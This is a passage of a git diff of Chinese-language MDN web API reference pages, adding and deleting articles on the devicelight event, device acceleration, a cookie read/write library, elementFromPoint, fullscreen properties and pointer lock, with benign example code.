当设备的光线传感器检测到光强等级的变化时,它会向浏览器通知这个变化。当浏览器得到这个通知后,会发送(fire)一个提供光强信息的 {{domxref("DeviceLightEvent")}} 事件。

- -

想要捕获这个事件,可用 {{domxref("EventTarget.addEventListener","addEventListener")}} 方法把事件处理器绑定到 window 上(使用 {{event("devicelight")}} 事件名),或者直接把事件处理器赋值给 {{domxref("window.ondevicelight")}} 属性。

- -

该事件被捕捉后,可以从传入的事件对象上的 {{domxref("DeviceLightEvent.value")}} 属性获取光强(单位为 {{interwiki("wikipedia", "lux")}})。

- -

示例

- -
if ('ondevicelight' in window) {
-  window.addEventListener('devicelight', function(event) {
-    var body = document.querySelector('body');
-    if (event.value < 50) {
-      body.classList.add('darklight');
-      body.classList.remove('brightlight');
-    } else {
-      body.classList.add('brightlight');
-      body.classList.remove('darklight');
-    }
-  });
-} else {
-  console.log('不支持 devicelight 事件');
-}
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}首次定义
- -

浏览器兼容性

- - - -

{{Compat("api.DeviceLightEvent")}}

- -

Gecko 备注

- -

{{event("devicelight")}} 事件在 Firefox Mobile for Android (15.0) 和 Firefox OS (B2G) 上实现并默认可用。从Gecko 22.0 {{geckoRelease("22.0")}} 开始,Mac OS X桌面版也可使用该事件。

- -

参见

- -
    -
  • {{domxref("DeviceLightEvent")}}
  • -
  • {{event("devicelight")}}
  • -
diff --git a/files/zh-cn/web/api/devicemotioneventacceleration/index.html b/files/zh-cn/web/api/devicemotioneventacceleration/index.html new file mode 100644 index 0000000000..34b215d781 --- /dev/null +++ b/files/zh-cn/web/api/devicemotioneventacceleration/index.html @@ -0,0 +1,47 @@ +--- +title: DeviceAcceleration +slug: Web/API/DeviceAcceleration +tags: + - API + - 传感器 + - 实验性 + - 接口 + - 需要示例 +translation_of: Web/API/DeviceMotionEventAcceleration +translation_of_original: Web/API/DeviceAcceleration +--- +
{{ ApiRef("Device Orientation Events") }}{{SeeCompatTable}}
+ +
 
+ +

设备加速对象可以提供有关设备沿三个轴(x、y、z)的加速度的信息。

+ +

属性

+ +
+
{{domxref("DeviceAcceleration.x")}} {{readonlyInline}}
+
沿X轴的加速度量(只读)
+
{{domxref("DeviceAcceleration.y")}} {{readonlyInline}}
+
沿Y轴的加速度量(只读)
+
{{domxref("DeviceAcceleration.z")}} {{readonlyInline}}
+
沿Z轴的加速度量(只读)
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Device Orientation", "#device_acceleration", "DeviceAcceleration")}}{{Spec2("Device Orientation")}}Initial definition
diff --git a/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html b/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html deleted file mode 100644 index 450751cefa..0000000000 --- a/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html +++ /dev/null @@ -1,218 +0,0 @@ ---- -title: 简单的cookie框架 -slug: Web/API/Document/cookie/Simple_document.cookie_framework -tags: - - Cookies - - cookie -translation_of: Web/API/Document/cookie/Simple_document.cookie_framework ---- -

一个小型框架: 一个完整的cookies读/写器对Unicode充分支持

- -

由于Cookie只是特殊格式的字符串,因此有时很难管理它们。 以下库旨在通过定义一个与一个Storage 对象部分一致的对象(docCookies)来抽象对document.cookie的访问。

- -

 以下代码也在GitHub上获取。它是基于GNU General Public License v3.0 许可 (许可链接)

- -
- -
/*\
-|*|
-|*|  :: cookies.js ::
-|*|
-|*|  A complete cookies reader/writer framework with full unicode support.
-|*|
-|*|  Revision #1 - September 4, 2014
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
-|*|  https://developer.mozilla.org/User:fusionchess
-|*|  https://github.com/madmurphy/cookies.js
-|*|
-|*|  This framework is released under the GNU Public License, version 3 or later.
-|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
-|*|
-|*|  Syntaxes:
-|*|
-|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
-|*|  * docCookies.getItem(name)
-|*|  * docCookies.removeItem(name[, path[, domain]])
-|*|  * docCookies.hasItem(name)
-|*|  * docCookies.keys()
-|*|
-\*/
-
-var docCookies = {
-  getItem: function (sKey) {
-    if (!sKey) { return null; }
-    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
-  },
-  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
-    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
-    var sExpires = "";
-    if (vEnd) {
-      switch (vEnd.constructor) {
-        case Number:
-          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
-          break;
-        case String:
-          sExpires = "; expires=" + vEnd;
-          break;
-        case Date:
-          sExpires = "; expires=" + vEnd.toUTCString();
-          break;
-      }
-    }
-    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
-    return true;
-  },
-  removeItem: function (sKey, sPath, sDomain) {
-    if (!this.hasItem(sKey)) { return false; }
-    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "");
-    return true;
-  },
-  hasItem: function (sKey) {
-    if (!sKey) { return false; }
-    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
-  },
-  keys: function () {
-    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
-    for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
-    return aKeys;
-  }
-};
- -
Note: 对于never-expire-cookies  我们使用一个随意的遥远日期Fri, 31 Dec 9999 23:59:59 GMT. 处于任何原因,你担心这样一个日期,使用 惯例世界末日Tue, 19 Jan 2038 03:14:07 GMT - 这是自1970年1月1日00:00:00 UTC以来使用 有符号的32位二进制整数表示的最大秒数。(i.e., 01111111111111111111111111111111 which is new Date(0x7fffffff * 1e3)).
- -

cookie的写入

- -
语法
- -
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
- -
Description
- -

新增/重写一个 cookie.

- -
参数
- -
-
name
-
新增/重写一个 cookie的 名字  (字符传).
-
value
-
cookie的 (字符串).
-
end 可选
-
max-age(最大有效时间)单位秒 (e.g. 31536e3 表示一年, Infinity  表示永不过期的cookie), 或者以GMTString 格式或者Date object 的expires date(过期时间); 如果没有,指定的cookie将在会话结束时到期 (number – finite or Infinitystring, Date object or null). -
-

Note: 尽管 officially defined in rfc6265, max-age 在 Internet Explorer, Edg和一些移动端浏览器上不兼容. 因此,将数字传递给end参数可能无法按预期工作. 可能的解决方案可能是将相对时间转换为绝对时间。例如,以下代码:

- -
docCookies.setItem("mycookie", "Hello world!", 150);
- -

可以使用绝对日期重写,如下例所示:

- -
 maxAgeToGMT (nMaxAge) {
-  return nMaxAge === Infinity ? "Fri, 31 Dec 9999 23:59:59 GMT" : (new Date(nMaxAge * 1e3 + Date.now())).toUTCString();
-}
-
-docCookies.setItem("mycookie", "Hello world!", maxAgeToGMT(150));
- -

在上面的代码中,函数 maxAgeToGMT() 用于从相对时间(即,从“age”)创建GMTString.

-
-
-
path 可选
-
可访问此cookie的路径. 例如,“/”,“/ mydir”;如果未指定,则默认为当前文档位置的当前路径(string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
-
domain 可选
-
可访问此cookie的域名. 例如,“example.com”“.example.com”(包括所有子域)或“subdomain.example.com”; 如果未指定,则默认为当前文档位置的主机端口(string or null).
-
secure 可选
-
cookie将仅通过https安全协议传输 (boolean or null).
-
- -

获取一个cookie

- -
语法
- -
docCookies.getItem(name)
- -
描述
- -

读一个cookie。如果cookie不存在,则返回null值。Parameters

- -
参数
- -
-
name
-
读取cookie的名字 (string).
-
- -

移除一个cookie

- -
语法
- -
docCookies.removeItem(name[, path[, domain]])
- -
描述
- -

删除一个cookie.

- -
参数
- -
-
name
-
待移除cookie的名字 (string).
-
path 可选
-
例如,"/","/ mydir";如果未指定,则默认为当前文档位置的当前路径 (string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
-
domain 可选
-
例如, "example.com",  或者 "subdomain.example.com"; 如果未指定,则默认为当前文档位置的主机端口(字符串或null),但不包括子域。 (string or null), 但不包括子域名。与早期的规范相反,域名中的前置的点被忽略。如果指定了域,则始终包含子域。 -
Note: 要删除跨子域的cookie,您需要想setItem()样removeItem()中指定domain属性。
-
-
- -

检查一个cookie(是否存在)

- -
语法
- -
docCookies.hasItem(name)
- -
描述
- -

检查当前位置是否存在cookie。

- -
参数
- -
-
name
-
待检查cookie的名字 (string).
-
- -

获取所有cookie列表

- -
Syntax
- -
docCookies.keys()
- -
Description
- -

返回此位置的所有可读cookie的数组。

- -

Example usage:

- -
docCookies.setItem("test0", "Hello world!");
-docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
-docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
-docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
-docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT");
-docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home");
-docCookies.setItem("test6", "Hello world!", 150);
-docCookies.setItem("test7", "Hello world!", 245, "/content");
-docCookies.setItem("test8", "Hello world!", null, null, "example.com");
-docCookies.setItem("test9", "Hello world!", null, null, null, true);
-docCookies.setItem("test1;=", "Safe character test;=", Infinity);
-
-alert(docCookies.keys().join("\n"));
-alert(docCookies.getItem("test1"));
-alert(docCookies.getItem("test5"));
-docCookies.removeItem("test1");
-docCookies.removeItem("test5", "/home");
-alert(docCookies.getItem("test1"));
-alert(docCookies.getItem("test5"));
-alert(docCookies.getItem("unexistingCookie"));
-alert(docCookies.getItem());
-alert(docCookies.getItem("test1;="));
-
diff --git a/files/zh-cn/web/api/document/elementfrompoint/index.html b/files/zh-cn/web/api/document/elementfrompoint/index.html deleted file mode 100644 index 6fb591e1da..0000000000 --- a/files/zh-cn/web/api/document/elementfrompoint/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Document.elementFromPoint() -slug: Web/API/Document/elementFromPoint -translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint -translation_of_original: Web/API/Document/elementFromPoint ---- -
- {{APIRef()}} {{Fx_minversion_header(3)}}
-

概述

-

返回当前文档上处于指定坐标位置最顶层的元素, 坐标是相对于包含该文档的浏览器窗口的左上角为原点来计算的, 通常 x 和 y 坐标都应为正数.

-

语法

-
var element = document.elementFromPoint(x, y);
-
    -
  • element 是返回的DOM元素.
  • -
  • xy 是坐标数值, 不需要单位比如px.
  • -
-

示例

-
<!DOCTYPE html>
-<html lang="en">
-<head>
-<title>elementFromPoint example</title>
-
-<script>
-function changeColor(newColor) {
-  elem = document.elementFromPoint(2, 2);
-  elem.style.color = newColor;
-}
-</script>
-</head>
-
-<body>
-<p id="para1">Some text here</p>
-<button onclick="changeColor('blue');">blue</button>
-<button onclick="changeColor('red');">red</button>
-</body>
-</html>
-
-

附注

-

If the element at the specified point belongs to another document (for example, an iframe's subdocument), the element in the DOM of the document the method is called on (in the iframe case, the iframe itself) is returned. If the element at the given point is anonymous or XBL generated content, such as a textbox's scroll bars, then the first non-anonymous ancestor element (for example, the textbox) is returned.

-

If the specified point is outside the visible bounds of the document or either coordinate is negative, the result is null.

-

{{Note("Callers from XUL documents should wait until the onload event has fired before calling this method.")}}

-

规范

- diff --git a/files/zh-cn/web/api/document/elementsfrompoint/index.html b/files/zh-cn/web/api/document/elementsfrompoint/index.html deleted file mode 100644 index 9a7ee01503..0000000000 --- a/files/zh-cn/web/api/document/elementsfrompoint/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Document.elementsFromPoint() -slug: Web/API/Document/elementsFromPoint -translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint -translation_of_original: Web/API/Document/elementsFromPoint ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

elementsFromPoint() 方法可以获取到当前视口内指定坐标处,由里到外排列的所有元素。

- -

语法

- -
var elements = document.elementsFromPoint(x, y);
- -

返回值

- -

一个包含多个元素的数组

- -

参数

- -
-
x
-
当前视口内某一点的横坐标
-
y
-
当前视口内某一点的纵坐标
-
- -

示例

- -

HTML

- -
<div>
-  <p>Some text</p>
-</div>
-<p>Elements at point 30, 20:</p>
-<div id="output"></div>
-
- -

JavaScript

- -
var output = document.getElementById("output");
-if (document.elementsFromPoint) {
-  var elements = document.elementsFromPoint(30, 20);
-  for(var i = 0; i < elements.length; i++) {
-    output.textContent += elements[i].localName;
-    if (i < elements.length - 1) {
-      output.textContent += " < ";
-    }
-  }
-} else {
-  output.innerHTML = "<span style=\"color: red;\">" +
-     "您的浏览器不支持 <code>document.elementsFromPoint()</code>" +
-     "</span>";
-}
- -

{{EmbedLiveSample('Example', '420', '120')}}

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'elementsFromPoint')}}{{Spec2('CSSOM View')}}Initial definition.
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support {{CompatChrome(43.0)}}{{CompatGeckoDesktop("46.0")}}[1]10.0 {{property_prefix("ms")}}{{CompatUnknown}}{{CompatSafari(11)}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(43.0)}}{{CompatGeckoMobile("46.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari(11)}}{{CompatChrome(43.0)}}
-
- -

 

diff --git a/files/zh-cn/web/api/document/fullscreen/index.html b/files/zh-cn/web/api/document/fullscreen/index.html new file mode 100644 index 0000000000..eb15adcede --- /dev/null +++ b/files/zh-cn/web/api/document/fullscreen/index.html @@ -0,0 +1,108 @@ +--- +title: document.mozFullScreen +slug: Web/API/Document/mozFullScreen +translation_of: Web/API/Document/fullscreen +--- +

 

+ +

{{APIRef("Fullscreen API")}}{{Deprecated_Header}}

+ +

过时的{{domxref("Document")}}接口的 fullscreen 只读属性报告文档当前是否以全屏模式显示内容。

+ +

虽然这个属性是只读的,但如果修改它,它不会抛出(即使在严格模式下);setter是一个非操作,它将被忽略。

+ +
+

注意: 由于不推荐使用此属性,您可以通过检查{{DOMxRef("document.fullscreenelement")}}是否为null来确定文档上是否启用全屏模式。

+
+ +

 

+ +

概述

+ +

返回一个布尔值,表明当前文档是否处于全屏模式.

+ +

语法

+ +
var isFullScreen = document.mozFullScreen || document.webkitIsFullScreen;
+
+ +

例子

+ +
function isDocumentInFullScreenMode() {
+  // 过去由F11触发的那种浏览器全屏模式和HTML5中内容的全屏模式是不一样的
+  return (document.fullscreenElement && document.fullscreenElement !== null) ||
+      (!document.mozFullScreen && !document.webkitIsFullScreen);
+}
+
+ +

备注

+ +

查看使用全屏模式来了解更多相关内容.

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

规范

+ +

不属于任何公开的规范

+ +

相关链接

+ +
    +
  • Using full-screen mode
  • +
  • {{ domxref("element.mozRequestFullScreen()") }}
  • +
  • {{ domxref("document.mozCancelFullScreen()") }}
  • +
  • {{ domxref("document.mozFullScreenElement") }}
  • +
  • {{ domxref("document.mozFullScreenEnabled") }}
  • +
  • {{ cssxref(":-moz-full-screen") }}
  • +
  • {{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}
  • +
+ +

{{ languages( {"en": "en/DOM/document.mozFullScreen" } ) }}

diff --git a/files/zh-cn/web/api/document/fullscreenenabled/index.html b/files/zh-cn/web/api/document/fullscreenenabled/index.html new file mode 100644 index 0000000000..248797541a --- /dev/null +++ b/files/zh-cn/web/api/document/fullscreenenabled/index.html @@ -0,0 +1,82 @@ +--- +title: document.mozFullScreenEnabled +slug: Web/API/Document/mozFullScreenEnabled +translation_of: Web/API/Document/fullscreenEnabled +--- +

{{ ApiRef() }}

+

概述

+

返回一个布尔值,表明浏览器是否支持全屏模式. 全屏模式只在那些不包含窗口化的插件的页面中可用.对于一个{{ HTMLElement("iframe") }}元素中的页面,则它必需拥有{{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}属性.

+

语法

+
var isFullScreenAvailable = document.mozFullScreenEnabled;
+
+

如果当前文档可以进入全屏模式,则isFullScreenAvailabletrue

+

例子

+
function requestFullScreen() {
+  if (document.mozFullScreenEnabled) {
+    videoElement.requestFullScreen();
+  } else {
+    console.log('你的浏览器不支持全屏模式!');
+  }
+}
+
+

备注

+

进入页面使用全屏模式查看详情和示例.

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

规范

+

该方法在规范草案 http://dvcs.w3.org/hg/fullscrezh-cn/raw-file/tip/Overview.html#dom-document-fullscreenenabled 中被提出.

+

相关链接

+
    +
  • Using full-screen mode
  • +
  • {{ domxref("element.mozRequestFullScreen()") }}
  • +
  • {{ domxref("document.mozCancelFullScreen()") }}
  • +
  • {{ domxref("document.mozFullScreen") }}
  • +
  • {{ domxref("document.mozFullScreenElement") }}
  • +
  • {{ cssxref(":-moz-full-screen") }}
  • +
  • {{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}
  • +
+

{{ languages( { "en": "en/DOM/document.mozFullScreenEnabled" } ) }}

diff --git a/files/zh-cn/web/api/document/getselection/index.html b/files/zh-cn/web/api/document/getselection/index.html deleted file mode 100644 index 73b3a4ce6b..0000000000 --- a/files/zh-cn/web/api/document/getselection/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: document.getSelection -slug: Web/API/Document/getSelection -translation_of: Web/API/DocumentOrShadowRoot/getSelection -translation_of_original: Web/API/Document/getSelection ---- -
-
-

{{APIRef("DOM")}}

- -

该方法的功能等价于 {{domxref("Window.getSelection()")}} 方法;其返回一个 {{domxref("Selection")}} 对象,表示文档中当前被选择的文本。

-
-
- -

 

diff --git a/files/zh-cn/web/api/document/inputencoding/index.html b/files/zh-cn/web/api/document/inputencoding/index.html deleted file mode 100644 index 00701e8acf..0000000000 --- a/files/zh-cn/web/api/document/inputencoding/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: document.inputEncoding -slug: Web/API/Document/inputEncoding -translation_of: Web/API/Document/characterSet -translation_of_original: Web/API/Document/inputEncoding ---- -

{{ ApiRef() }} {{ deprecated_header() }}

-

概述

-

返回一个字符串,代表当前文档渲染时所使用的编码.(比如utf-8).

-
- 警告: 不要再使用该属性.该属性在DOM 4 规范(草案)中已经被废弃. Gecko 在未来的版本中将会删除它.
-

语法

-
encoding = document.inputEncoding;
-
-

inputEncoding 是个只读属性.

-

规范

-
    -
  • DOM Level 3 Core
  • -
  • This has been removed from {{ spec("http://www.w3.org/TR/domcore/","DOM Core Level 4","WD") }}
  • -
-

{{ languages( {"en": "en/DOM/document.inputEncoding" } ) }}

diff --git a/files/zh-cn/web/api/document/mozfullscreen/index.html b/files/zh-cn/web/api/document/mozfullscreen/index.html deleted file mode 100644 index eb15adcede..0000000000 --- a/files/zh-cn/web/api/document/mozfullscreen/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: document.mozFullScreen -slug: Web/API/Document/mozFullScreen -translation_of: Web/API/Document/fullscreen ---- -

 

- -

{{APIRef("Fullscreen API")}}{{Deprecated_Header}}

- -

过时的{{domxref("Document")}}接口的 fullscreen 只读属性报告文档当前是否以全屏模式显示内容。

- -

虽然这个属性是只读的,但如果修改它,它不会抛出(即使在严格模式下);setter是一个非操作,它将被忽略。

- -
-

注意: 由于不推荐使用此属性,您可以通过检查{{DOMxRef("document.fullscreenelement")}}是否为null来确定文档上是否启用全屏模式。

-
- -

 

- -

概述

- -

返回一个布尔值,表明当前文档是否处于全屏模式.

- -

语法

- -
var isFullScreen = document.mozFullScreen || document.webkitIsFullScreen;
-
- -

例子

- -
function isDocumentInFullScreenMode() {
-  // 过去由F11触发的那种浏览器全屏模式和HTML5中内容的全屏模式是不一样的
-  return (document.fullscreenElement && document.fullscreenElement !== null) ||
-      (!document.mozFullScreen && !document.webkitIsFullScreen);
-}
-
- -

备注

- -

查看使用全屏模式来了解更多相关内容.

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

规范

- -

不属于任何公开的规范

- -

相关链接

- -
    -
  • Using full-screen mode
  • -
  • {{ domxref("element.mozRequestFullScreen()") }}
  • -
  • {{ domxref("document.mozCancelFullScreen()") }}
  • -
  • {{ domxref("document.mozFullScreenElement") }}
  • -
  • {{ domxref("document.mozFullScreenEnabled") }}
  • -
  • {{ cssxref(":-moz-full-screen") }}
  • -
  • {{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}
  • -
- -

{{ languages( {"en": "en/DOM/document.mozFullScreen" } ) }}

diff --git a/files/zh-cn/web/api/document/mozfullscreenelement/index.html b/files/zh-cn/web/api/document/mozfullscreenelement/index.html deleted file mode 100644 index d87cd89683..0000000000 --- a/files/zh-cn/web/api/document/mozfullscreenelement/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: document.mozFullScreenElement -slug: Web/API/Document/mozFullScreenElement -translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement ---- -

{{ ApiRef() }}

-

概述

-

返回当前文档中正在以全屏模式显示的{{ domxref("Element") }}节点,如果没有使用全屏模式,则返回null.

-

语法

-
var element = document.mozFullScreenElement;
-
-

示例

-
function isVideoInFullsreen() {
-  if (document.mozFullScreenElement && document.mozFullScreenElement.nodeName == 'VIDEO') {
-    console.log('您的视频正在以全屏模式显示');
-  }
-}
-

辅助

-

查看使用"全屏模式"页面了解详情.

-

浏览器兼容性

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-

规范

-

该方法提案已经进入相关规范草案 http://dvcs.w3.org/hg/fullscrezh-CN/raw-file/tip/Overview.html#dom-document-fullscreenelement

-

相关链接

-
    -
  • Using full-screen mode
  • -
  • {{ domxref("element.mozRequestFullScreen()") }}
  • -
  • {{ domxref("document.mozCancelFullScreen()") }}
  • -
  • {{ domxref("document.mozFullScreen") }}
  • -
  • {{ domxref("document.mozFullScreenEnabled") }}
  • -
  • {{ cssxref(":-moz-full-screen") }}
  • -
  • {{ HTMLAttrXRef("allowfullscreen", "iframe") }}
  • -
diff --git a/files/zh-cn/web/api/document/mozfullscreenenabled/index.html b/files/zh-cn/web/api/document/mozfullscreenenabled/index.html deleted file mode 100644 index 248797541a..0000000000 --- a/files/zh-cn/web/api/document/mozfullscreenenabled/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: document.mozFullScreenEnabled -slug: Web/API/Document/mozFullScreenEnabled -translation_of: Web/API/Document/fullscreenEnabled ---- -

{{ ApiRef() }}

-

概述

-

返回一个布尔值,表明浏览器是否支持全屏模式. 全屏模式只在那些不包含窗口化的插件的页面中可用.对于一个{{ HTMLElement("iframe") }}元素中的页面,则它必需拥有{{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}属性.

-

语法

-
var isFullScreenAvailable = document.mozFullScreenEnabled;
-
-

如果当前文档可以进入全屏模式,则isFullScreenAvailabletrue

-

例子

-
function requestFullScreen() {
-  if (document.mozFullScreenEnabled) {
-    videoElement.requestFullScreen();
-  } else {
-    console.log('你的浏览器不支持全屏模式!');
-  }
-}
-
-

备注

-

进入页面使用全屏模式查看详情和示例.

-

浏览器兼容性

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-

规范

-

该方法在规范草案 http://dvcs.w3.org/hg/fullscrezh-cn/raw-file/tip/Overview.html#dom-document-fullscreenenabled 中被提出.

-

相关链接

-
    -
  • Using full-screen mode
  • -
  • {{ domxref("element.mozRequestFullScreen()") }}
  • -
  • {{ domxref("document.mozCancelFullScreen()") }}
  • -
  • {{ domxref("document.mozFullScreen") }}
  • -
  • {{ domxref("document.mozFullScreenElement") }}
  • -
  • {{ cssxref(":-moz-full-screen") }}
  • -
  • {{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}
  • -
-

{{ languages( { "en": "en/DOM/document.mozFullScreenEnabled" } ) }}

diff --git a/files/zh-cn/web/api/document/onafterscriptexecute/index.html b/files/zh-cn/web/api/document/onafterscriptexecute/index.html new file mode 100644 index 0000000000..f1e976522e --- /dev/null +++ b/files/zh-cn/web/api/document/onafterscriptexecute/index.html @@ -0,0 +1,44 @@ +--- +title: element.onafterscriptexecute +slug: Web/API/Element/onafterscriptexecute +tags: + - DOM + - onafterscriptexecute +translation_of: Web/API/Document/onafterscriptexecute +--- +
{{ApiRef}}{{gecko_minversion_header("2")}}
+ +

概述

+ +

当HTML文档中的{{HTMLElement("script")}}标签内的代码执行完毕时触发该事件,如果这个script标签是用appendChild()等方法动态添加上去的,则不会触发该事件.

+ +

语法

+ +
document.onafterscriptexecute = funcRef;
+
+ +

afterscriptexecute事件触发时,funcRef函数就会被调用. 传入参数eventtarget属性指向触发该事件的那个script元素.

+ +

例子

+ +
function finished(e) {
+  logMessage("Finished script with ID: " + e.target.id);
+}
+
+document.addEventListener("afterscriptexecute", finished, true);
+
+ +

查看在线演示

+ +

规范

+ + + +

相关链接

+ +
    +
  • {{domxref("element.onbeforescriptexecute")}}
  • +
  • {{domxref("document.currentScript")}}
  • +
diff --git a/files/zh-cn/web/api/document/pointerlockelement/index.html b/files/zh-cn/web/api/document/pointerlockelement/index.html deleted file mode 100644 index eb6ed9cf98..0000000000 --- a/files/zh-cn/web/api/document/pointerlockelement/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Document.pointerLockElement -slug: Web/API/Document/pointerLockElement -translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement ---- -
{{APIRef("DOM")}}
- -

pointerLockElement 特性规定了如在鼠标事件中当目标被锁定时的元素集和。如果指针处于锁定等待中、指针没有被锁定,或者目标在另外一个文档中这几种情况,返回的值null。

- -

语法

- -
var element = document.pointerLockElement;
-
- -

返回值

- -

An {{domxref("Element")}} or null.

- -

特性

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Extend the Document interface
- -

浏览器兼容

- -
